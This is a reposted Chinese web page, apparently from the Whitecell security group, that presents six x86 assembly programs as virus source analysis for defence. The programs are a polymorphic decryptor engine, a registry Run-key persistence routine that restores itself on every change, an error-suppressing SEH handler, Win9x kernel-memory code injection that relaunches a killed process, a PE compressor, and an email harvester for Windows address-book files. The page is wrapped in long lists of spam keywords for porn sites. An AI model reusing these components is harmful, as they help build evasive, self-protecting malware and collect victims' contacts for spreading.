日本免费精品_最新日韩一区_亚洲视频一区在线_a在线视频观看_天天射夜夜骑_粉嫩av一区二区三区_欧美中日韩免费视频_综合图区欧美_国内精品美女在线观看_午夜精品久久久久久久男人的天堂

首頁 > 編程 > Java > 正文

病毒源碼解析之防御分析

2019-09-06 23:33:18
字體:
來源:轉載
供稿:網友
1、超級病毒變形引擎

此段代碼會在DATA段內生成一個解密代碼。

.586p
.model flat,STDCALL
extrn ExitProcess: proc
VirusSize=100h
.data

DecodeMethod dd ?
DeCode:
pushad
call Encode
db 100h dup(11h)
Encode:
db 100h dup(0cch)
RndReg0 dd 0 ;eax
RndReg1 dd 0 ;ebx
RndCode dd 0 ;Rnd Code
RndMima dd 60932561 ;Rnd Password

.code
@@Start:
mov eax,RndMima
ror eax,7
mov RndCode,eax

mov eax,RndCode
mov ecx,eax
and eax,011b
mov RndReg0,eax
xor ecx,RndMima
and ecx,011b
cmp eax,ecx
jnz short ChooseRegOk
inc ecx
and ecx,011b
ChooseRegOk:
mov RndReg1,ecx


mov edi,offset Encode

ror RndCode,1
call GetBxCode,0,RndReg0,RndCode
mov esi,eax
ContFillStep0:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep0
dec edi

ror RndCode,1
call GetBxCode,1,RndReg1,RndCode
mov esi,eax
ContFillStep1:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep1
dec edi

mov ebx,edi ;//計算機Jmp指令用

ror RndCode,1
call GetBxCode,2,RndReg0,RndCode
mov esi,eax
ContFillStep2:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep2
dec edi

mov eax,RndMima
mov [edi-4],eax ;//填寫隨機密碼
mov eax,RndCode
and eax,01
mov DecodeMethod,eax ;//填寫DeCode方法

ror RndCode,1
call GetBxCode,3,RndReg0,RndCode
mov esi,eax
ContFillStep3:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep3
dec edi

ror RndCode,1
call GetBxCode,4,RndReg1,RndCode
mov esi,eax
ContFillStep4:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep4
dec edi

ror RndCode,1
call GetBxCode,5,RndReg0,RndCode
mov esi,eax
ContFillStep5:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep5
dec edi

mov al,0c3h
mov [edi],al ;//填寫Ret指令

sub ebx,edi
mov [edi-1],bl ;//填寫jmp指令

int 3;

jmp DeCode
ret
GetBxCode proc uses ebx ecx edx esi edi,Step:dword,Reg:dword,Rnd:dword
call GetBxCodeAddr
Step0_Eax:
mov eax,[esp]
int 3;
pop eax
push eax
int 3;
Step0_Ebx:
pop ebx
push ebx
int 3;
push dword ptr[esp]
pop ebx
int 3;
Step0_Ecx:
mov ecx,[esp]
int 3;
pop ecx
push ecx
int 3;
Step0_Edx:
mov edx,[esp]
int 3;
mov edx,esp
mov edx,[edx]
int 3

Step1_Eax:
mov eax,VirusSize
int 3
sub eax,eax
add ax,VirusSize+3081h
sub ax,3081h
int 3
Step1_Ebx:
mov ebx,VirusSize
int 3;
xor ebx,ebx
or bx,VirusSize
int 3;
Step1_Ecx:
sub ecx,ecx
xor ecx,(VirusSize xor 3181h)
xor ecx,(3181h)
int 3;
mov ecx,0
and cx,VirusSize
int 3
Step1_Edx:
and edx,0
xor dx,(VirusSize-0281h)
add dx,0281h
int 3;
xor edx,edx
sub edx,(0181h-VirusSize)
sub edx,-0181h
int 3;

Setp2_Eax:
xor [eax],12345678h
int 3
add [eax],12345678h
int 3
Setp2_Ebx:
xor [ebx],12345678h
int 3;
add [ebx],12345678h
int 3;

Setp2_Ecx:
xor [ecx],12345678h
int 3;
add [ecx],12345678h
int 3;
Setp2_Edx:
xor [edx],12345678h
int 3;
add [edx],12345678h
int 3;
Step3_Eax:
add eax,4
int 3
inc eax
inc eax
inc eax
inc eax
int 3;
Step3_Ebx:
add ebx,5
dec ebx
int 3
add ebx,2
add ebx,2
int 3;
Step3_Ecx:
sub ecx,-4
int 3
sub ecx,-5
dec ecx
int 3;
Step3_Edx:
inc edx
sub edx,-3
int 3
add edx,04
int 3;

Step4_Eax:
sub eax,4
int 3
dec eax
dec eax
dec eax
sub eax,1
int 3;
Step4_Ebx:
dec ebx
sub ebx,3
int 3;
dec ebx
dec ebx
sub ebx,2
int 3;
Step4_Ecx:
add cx,123
sub cx,123+4
int 3
sub cx,-4
dec cx
sub cx,7
int 3
Step4_Edx:
sub dx,2
dec dx
sub dx,1
int 3
inc edx
sub dx,5
int 3;
Step5_Eax:
jnz $
int 3
ja $
int 3
Step5_Ebx:
jg $
int 3
jnb $
int 3
Step5_Ecx:
jnl $
int 3
jnz $
int 3
Step5_Edx:
ja $
int 3
jg $
int 3

GetBxCodeAddr:
pop esi
mov al,0cch ;//指令分割符
mov ecx,Step
shl ecx,1
shl ecx,1
add ecx,Reg ;//計算機得到的指令位置
shl ecx,1
and Rnd,01b
add ecx,Rnd
jcxz short GetBxCodeOver
ContFindCode:
push ecx
ContFindCC:
inc esi
cmp [esi],al
jnz ContFindCC
pop ecx
loop ContFindCode
mov eax,esi
inc eax
ret
GetBxCodeOver:
mov eax,esi
ret
GetBxCode endp


end @@Start


2、Windows 9x/2000/xp 瑣定注冊表

.586p
.model flat,STDCALL
.data

HKeyStr db 'SOFTWAREMicrosoftWindowsCurrentVersionRun',0
ValueName db 'wap32',0
PathName db 'wap32.exe',0

.code

extrn RegOpenKeyA: proc
extrn RegSetValueExA: proc
extrn RegCloseKey: proc
extrn ExitProcess: proc
extrn RegNotifyChangeKeyValue: proc
extrn CreateThread: proc
extrn Sleep: proc
extrn RegQueryValueExA: proc

start:
push eax
call RegOpenKeyA,080000002h,offset HKeyStr,esp
pop ebx
call RegSetValueExA,ebx,offset ValueName,0,01,offset PathName,100h

sub esp,100h
mov eax,esp
push 100h
call RegQueryValueExA,ebx,offset ValueName,0,0,eax,esp
pop eax
add esp,100h

push eax
call CreateThread,0,0,offset RegProtectProc,ebx,0,esp
pop eax
call Sleep,1000*60*3
ret

RegProtectProc proc hKey:dword
mov ebx,hKey
sub esp,100h
mov edi,esp
call GetProtectKeyName
db 'wap32',0
GetProtectKeyName:
pop esi
push 100h
call RegQueryValueExA,ebx,esi,0,0,edi,esp
pop eax
WaitRegChangeNotify:
call RegNotifyChangeKeyValue,ebx,0,4,0,0
call RegSetValueExA,ebx,esi,0,01,edi,100h
jmp short WaitRegChangeNotify
RegProtectProc endp

end start



3、 Windows 9x/2000 意外處理通用程序


此段程序可以達到屏蔽程序錯誤的效果

include wap32.inc

.386p
.model flat,stdcall

extrn MessageBoxA: proc
extrn ExitProcess: proc

.data

Msg db 'Fuck',0

SetSehFrame: ;ecx=忽略錯誤繼續執行地址
pop eax ;彈出返回地址
push ecx ;保存忽略錯誤繼續執行地址
call PushExceptionProc
jmp short Exception
PushExceptionProc:
push fs:dword ptr[0]
mov fs:[0],esp
call GetEspAddr
push D [edx] ;保存原Esp地址值
mov [edx],esp
jmp eax
ClearSehFrame:
pop eax ;彈出返回地址
call GetEspAddr
mov esp,[edx]
pop D [edx] ;恢復原Esp地址值
pop fs:dword ptr[0]
pop ecx
pop ecx ;彈出忽略錯誤繼續執行地址
jmp eax

Exception proc pRecord,pFrame,pContext,pDispatch
call PushSehBackProc
call ClearSehFrame
jmp ecx
PushSehBackProc:
pop ecx
mov eax,pContext
mov [eax.cx_Eip],ecx
xor eax,eax ;忽略錯誤繼續執行
ret
Exception endp

GetEspAddr:
call PushOffsetEspAddr
dd ?
PushOffsetEspAddr:
pop edx
ret


.code

Start:
call PushErrorProc
call MessageBoxA,0,offset Msg,offset Msg,0
ret
PushErrorProc:
pop ecx
call SetSehFrame
mov ds:[0],eax
call ClearSehFrame
ret


end Start



4、Windows 9x 下進程不死術

此段程序首先實現Win9x下注射遠程線程(新技術)
然后與Win2k下進程不死術一樣了。
include Win32.inc

.386p
.model flat,stdcall

extrn GetProcAddress: proc
extrn WinExec: proc
extrn MessageBoxA: proc
extrn Sleep: proc
extrn GetCurrentProcessId: proc
extrn OpenProcess: proc
extrn GetCurrentProcess: proc
extrn WriteProcessMemory: proc
extrn GetExitCodeProcess: proc

.data

;問題,要Sleep()這樣做使Kernel32有機會更新數據
KnlThread proc ProcID:dword
call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID
or eax,eax
jz short ExitProtectProc
mov ebx,eax
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
call [eax],ebx,-1h
call GetFileNameAddress
GetFileNameAddress:
pop ecx
add ecx,offset FileName-offset GetFileNameAddress
call GetKnlWinExec
KnlWinExec dd ?
GetKnlWinExec:
pop eax
call [eax],ecx,01
ExitProtectProc:
ret
KnlThread endp

FileName db 'c:wap32.exe',0

KnlOpenProcessStr db 'OpenProcess',0
KnlWaitForObjectStr db 'WaitForSingleObject',0
KnlWinExecStr db 'WinExec',0
KnlSleepStr db 'Sleep',0
KnlCreateKnlThreadStr db 'CreateKernelThread',0

.code

Start:
call GetProcAddress,0bff70000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
call GetProcAddress,0bff70000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
call GetProcAddress,0bff70000h,offset KnlWinExecStr
mov KnlWinExec,eax

call MoveDataToKnl,offset Start,0bff70600h,100h

call GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr
mov ebx,eax
call GetCurrentProcessId
push eax
call ebx,0,0,0bff70000h+600h,eax,0,esp
pop eax
call MessageBoxA,0,offset FileName,offset FileName,0
ret

MoveDataToKnl proc uses ebx esi edi,Src:dword,Des:dword,nCx:dword
push eax
sidt [esp-2]
pop eax
add eax,3*8
mov ebx,[eax]
mov edx,[eax+4]
call SetIdt03
pushad
mov [eax],ebx
mov [eax+4],edx
cld
rep movsb
popad
iret
SetIdt03:
cli
pop W[eax]
pop W[eax+6]
mov esi,Src
mov edi,Des
mov ecx,nCx
int 3;
sti
ret
MoveDataToKnl endp

end Start


5、簡單算法,高效率壓縮PE文件

.586p
.model flat,STDCALL
.data

OldFile db 'pe.exe',0
NewFile db 'pe.zzz',0

FileData db 0,0
.code
extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _lclose: proc
extrn ExitProcess: proc
start:
call _lopen,offset OldFile,0
cmp eax,-1
jz ExitProc
mov esi,eax
call _lcreat,offset NewFile,0
cmp eax,-1
jz CloseOldFile
mov edi,eax

xor ebx,ebx
ReadData:
call _lread,esi,offset FileData,1
or eax,eax
jz short ReadOver
movzx eax,FileData
or eax,eax
jnz short NoZero
inc ebx
cmp ebx,0ffh
jnz short ReadData
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
jmp short ReadData
NoZero:
or ebx,ebx
jnz short NoZeroData
call _lwrite,edi,offset FileData,1
jmp short ReadData
NoZeroData:
push eax
xor eax,eax
mov ah,bl
mov word ptr FileData,ax
call _lwrite,edi,offset FileData,2
xor ebx,ebx
pop eax
mov FileData,al
call _lwrite,edi,offset FileData,1
jmp ReadData
ReadOver:
or ebx,ebx
jz short CloseFile
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
CloseFile:
call _lclose,edi
CloseOldFile:
call _lclose,esi
ExitProc:
call ExitProcess,0

end start

6、提取Windows地址薄文件(*.WAB)的Email信息

.586p
.model flat,STDCALL
.data

MailFile db 'My.WAB',0

.code

extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _llseek: proc
extrn _lclose: proc
extrn MessageBoxA: proc
extrn ExitProcess: proc
extrn WideCharToMultiByte: proc

start:
call _lopen,offset MailFile,0
cmp eax,-1
jz short ExitProc
mov ebx,eax
sub esp,100h
mov edi,esp
call _lread,ebx,edi,100h
cmp eax,100h
jnz short CloseFile
mov eax,[edi+60h] ;得到Unicode郵件名偏移
call _llseek,ebx,eax,0
mov ecx,[edi+64h] ;得到Unicode郵件名個數
ContWabMail:
push ecx
call _lread,ebx,edi,44h ;讀一個記錄
cmp eax,44
sub esp,100h
mov eax,esp
call WideCharToMultiByte,0,200h,edi,-1,eax,100h,0,0
mov eax,esp
call MessageBoxA,0,eax,eax,0
add esp,100h
pop ecx
loop short ContWabMail
CloseFile:
call _lclose,ebx
ExitProc:
call ExitProcess,0

end start



WSS(Whitecell Security Systems),一個非營利性民間技術組織,致力于各種系統安全技術的研究。堅持傳統的hacker精神,追求技術的精純。
WSS 主頁:http://www.whitecell.org/
WSS 論壇:http://www.whitecell.org/forum/
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
国产视频2区| 国产免费电影网站入口| 精品播放一区二区| 欧美日韩在线精品成人综合网| 国产日韩中文在线| 天堂在线中文资源| 日韩高清在线不卡| 中文字幕久久精品| 精品日韩视频在线观看| 中文字幕不卡三区| 国产视频不卡| 日韩视频精品在线观看| 在线日韩精品视频| 欧美亚洲视频在线看网址| 亚洲一区在线观看网站| 欧美日韩中文字幕| 97caopor国产在线视频| 精品国产网站在线观看| 亚洲欧洲在线观看av| 91精品久久久久久蜜臀| 国产一区免费视频| 国产999精品在线观看| 亚洲一区三区在线观看| 日韩欧美在线中字| 日韩精品丝袜在线| 国产日韩精品在线观看| 二区三区不卡不卡视频| 一级特黄大欧美久久久| 国产一级视频| 欧美激情一区二区三区在线| av三级在线播放| 欧美日韩国产系列| 综合激情一区| 日韩三级一区二区| 精品一二线国产| 国产超级va在线视频| 国产v日产∨综合v精品视频| 亚州黄色一级| 日韩.com| 91精品国产自产在线观看永久∴ | 日韩不卡中文字幕| 国产www在线观看| 国产日韩在线视频| 久99久视频| 国产日韩中文字幕| 国产欧美日韩综合精品| 一二三区精品视频| 日韩欧美999| 国产丝袜一区| 久久精品99国产国产精| 国产区在线看| 精品一性一色一乱农村| 中文字幕在线中文字幕二区| 精品极品三级久久久久| 亚洲一区资源| 日本а中文在线天堂| 国产欧美在线观看| 天天综合天天综合| av中文网站| 日韩福利视频导航| 日韩欧美中文第一页| 国产福利一区二区| 亚洲免费精品视频| 欧美中文字幕视频在线观看| 日韩中文在线视频| 国产在线观看91| 在线资源av| 欧美不卡视频一区| 日韩在线观看a| 亚洲小说春色综合另类网蜜桃| 日韩.com| www日韩在线观看| 99精品人妻国产毛片| 在线一区二区不卡| 国产999精品在线观看| 国产不卡视频在线| 日韩在线中文| 精品欧美日韩在线| 国产91久久久久蜜臀青青天草二| 日韩国产91| 久久久久久久久综合| 97caopor国产在线视频| 中文字幕最新精品| 黄色国产网站在线观看| 一区二区三区免费看视频| 欧美日韩在线不卡视频| 国产视频三级在线观看播放| 久久精品国产99| 国产在线拍揄自揄拍| 麻豆一区二区99久久久久| 久久久水蜜桃| 久久久99久久精品欧美| 国产对白在线| 欧美三级日韩三级国产三级| 国产视频一区二| 一区二区精品区| 久久精品久久精品亚洲人| 一区二区三区在线|网站| 午夜av一区二区| 91欧美日韩| 在线视频日韩欧美| 欧美一级免费在线观看| 中文字幕欧美日韩在线| 亚洲欧美伊人| av午夜在线| 国产在成人精品线拍偷自揄拍| 国产又粗又猛又爽又黄91精品| 日韩视频一区| 国产视频1区| 日本熟女一区二区| 欧美在线视频二区| 91精品在线观| 欧美亚洲免费高清在线观看| 亚洲a一级视频| 国产成人综合精品| 中文 欧美 日韩| 国产三级在线播放| 亚洲国产午夜精品| 成人无遮挡免费网站视频在线观看| 日韩在线观看a| 久久精品久久久久| 国产视频2区| 婷婷综合福利| 在线日韩中文字幕| 日韩中文字幕精品视频| 欧美亚洲免费高清在线观看| 99精品视频国产| 不卡专区在线| 国产午夜精品视频免费不卡69堂| 一区二区三区精品久久久| 一区在线播放视频| 中文字幕在线播出| 精品日韩在线| 国产成人精品亚洲| 久久精品免费看| 久久99久久久久久久噜噜| 欧美乱大交xxxxx免费| 色综合天天综合网天天狠天天| 精品一二三四区| 久草视频在线看| 久久久另类综合| 国产永久免费高清在线观看| 在线欧美日韩精品| 国产裸舞福利在线视频合集| 欧美日韩高清一区二区| 日韩亚洲欧美中文字幕| 亚洲 欧美综合在线网络| 亚洲狠狠婷婷综合久久久久图片| 欧美日韩在线第一页| 亚洲福利精品| 国产成人精品亚洲| 亚洲欧美99| 精品一二三四区| 久久精品卡一| 国产永久在线观看| 黄色国产网站在线播放| 欧美日韩亚洲天堂| 国产久卡久卡久卡久卡视频精品| 国产啊啊啊视频在线观看| 日韩亚洲欧美中文三级| 中文字幕欧美日韩va免费视频| 亚洲丝袜一区| 免费视频一区三区| 日韩一级网站| 一区二区91| 亚洲一区激情| 亚洲欧洲日韩精品在线| 在线国产1区| 在线视频三区| 久草中文在线观看| 九色蝌蚪视频在线| 91精品电影| 日韩视频一区二区在线观看| 亚洲免费精品| 日韩三级免费观看| 久久夜色精品国产欧美乱极品| 久久91精品久久久久久秒播| 亚洲乱码中文字幕| 91精品免费在线观看| 亚洲综合视频一区| 日韩中文字幕在线观看视频| 日韩欧美综合视频| 在线一区二区三区精品| 一区二区精品区| 国产91欧美| 中文字幕亚洲区| 欧美日韩精品免费看| 91精品国产自产| 天堂精品高清1区2区3区| 国产黄色一级片| 日韩视频一区二区在线观看| 亚洲视频中文字幕| 日韩 国产 一区| 亚洲一区中文| 中文网丁香综合网| 99久久www免费| 一级片免费网站| 日韩欧美中文字幕公布| 日韩中文字幕在线播放| 亚洲免费播放| 婷婷久久综合网| 欧美不卡123| 日韩 欧美 中文| 日韩免费电影网站| av午夜在线| 久久精品国产视频| 精品久久久视频| 日韩中文字幕视频网| 国产福利久久久| 91精品国产综合久久久久久| 亚洲尤物av| 欧美一级手机免费观看片| 天天综合色天天| 久久av免费| 国产一级片网站| 久久久综合av| 欧美 日韩 国产在线观看| 国产一区在线精品| 日韩中文字幕视频网| 欧美日韩国产91| 欧美日韩久久不卡| 中文字幕日韩欧美在线| 精品欧美不卡一区二区在线观看| 日本黄色一区二区三区| 国产一区二中文字幕在线看| 日韩欧美视频一区二区三区四区| 日韩欧美在线字幕| 中文字幕亚洲国产| 精品久久久久久无| 亚洲开心激情| 日韩精品在线看| 精品国产网站在线观看| 久久av免费| 中文字幕在线亚洲| 欧美日韩成人一区| 91精品999| aaa免费看大片| 亚洲三级网站| 中文字幕亚洲国产| 日韩亚洲欧美中文高清在线| 欧美日韩综合视频| 精品国产乱码一区二区| 在线手机中文字幕| 国产黄色精品| 欧美日韩高清在线播放| 亚洲中文字幕在线一区| 亚洲久草视频| 久久综合九色欧美综合狠狠| 精品视频在线视频| 亚洲热在线观看| 日韩欧中文字幕| 国产在线不卡av| 国产中文在线播放| 婷婷久久综合九色国产成人| 日韩高清在线一区二区| 国产成人精品999在线观看| 国产嫩草影院久久久久| 亚洲一区中文字幕在线| 日韩欧美资源站| 91日韩中文字幕| 中文字幕日韩欧美在线| 欧美日韩在线观看成人| 日韩欧美综合在线视频| www.三级.com| 亚洲高清不卡一区| 亚洲大胆人体av| 在线观看免费国产成人软件| 国产亚洲短视频| 精品亚洲综合| 国产香蕉精品视频| 亚洲大片免费看| 久久91精品视频| 欧美三级一区二区三区| 日韩精品在线网站| 69av亚洲| 国产男女av| 精品久久在线观看| 欧美不卡视频一区发布| 欧美性极品xxxx做受| 日韩欧美国产一二三区| 91九色在线播放| 伊人国产视频| 中文字幕 欧美日韩| 日韩在线高清视频| 亚洲高清视频在线| 国产欧美日韩在线观看| 一区二区三区在线播放欧美| 精品国产1区二区| 日韩色在线观看| 亚亚洲欧洲精品| 最新中文字幕在线| 日韩国产专区| 日韩精品三级| 日韩三级精品电影久久久| 日韩免费视频| 日韩免费视频一区| 国产在线精品国自产拍免费| 日韩你懂的电影在线观看| 久久精品卡一| 在线看欧美日韩| 日韩欧美中文免费| 一区二区在线看| 日韩在线视频免费观看高清中文| 91精品国产综合久久香蕉最新版| 欧美日韩中文字幕在线| 人人做人人澡人人爽欧美| 999精品视频在线观看播放| 欧美1234区| 蜜桃久久久久| 精品色蜜蜜精品视频在线观看| 欧美日韩精品欧美日韩精品一| 亚洲免费精品视频| 一级片在线播放| 在线不卡一区二区| 在线观看中文字幕一区| 亚洲黄在线观看| 国产一区精品在线| 亚洲男女av一区二区| 亚洲免费福利视频| 精品综合久久久久| 亚洲免费专区| 亚洲国产欧美91| 国产亚洲欧美中文| 中文字幕国产欧美| 91精品国产91久久久久青草| 亚洲久草视频| 日韩精品视频免费播放| 欧美日韩亚洲天堂| 在线日韩中文| 久久香蕉一区| 91精品国产色综合久久久蜜香臀| 欧美日韩第一| 亚洲视频色图| 欧美在线视频二区| 精品成a人在线观看| 国产字幕中文| 欧美一级二级三级区| 91久久久精品| 久久久99久久| 日韩久久精品成人| 精品日本视频| 日韩欧美一二三区| 欧美日韩在线不卡| 日韩欧美在线1卡| 日韩av不卡在线观看| 国产成人精品综合网站| 国产在线小视频| 搞黄在线观看| а√天堂8资源中文在线| 中文字幕第一页在线播放| 国产三级视频网站| 日韩欧美不卡视频| 亚洲视频 中文字幕| 日韩欧美国产片| 在线视频1区2区| 日韩精品在线看| 亚洲欧洲日韩在线| 欧美日韩在线观看一区| 国产成人精品日本亚洲专区61| 亚洲高清免费一级二级三级| 91久久精品国产91久久| 不卡av免费在线| av免费在线网站| 国产欧美综合在线观看第十页| 日韩精品在线网站| 91精品久久久久久蜜臀| 精品人妻二区中文字幕| 日韩欧美三级| 日韩视频在线一区| 不卡一二三区| 午夜av一区二区| 亚洲高清在线免费| 一区视频在线播放| 精品极品三级久久久久| 日韩www在线| 搞黄在线观看| 中文字幕精品视频| 国产三级在线| 精品成人久久av| 免费视频中文字幕| 日韩欧美国产黄色| 在线观看一区| 91麻豆免费视频网站| 日韩欧美专区在线| 国产一级在线播放| 亚洲成av人片| 日韩一级网站| 午夜私人影院在线观看| 欧美国产一区视频在线观看| 伊人网站在线| 免费在线国产| 国产 欧美 日韩 在线| 欧美日韩亚洲综合在线| 免费看黄资源大全高清| 国产午夜精品全部视频播放| 99综合视频| 91日韩欧美| 亚洲欧美中文字幕在线观看| 国产 中文 字幕 日韩 在线| 91精品久久久久久蜜臀|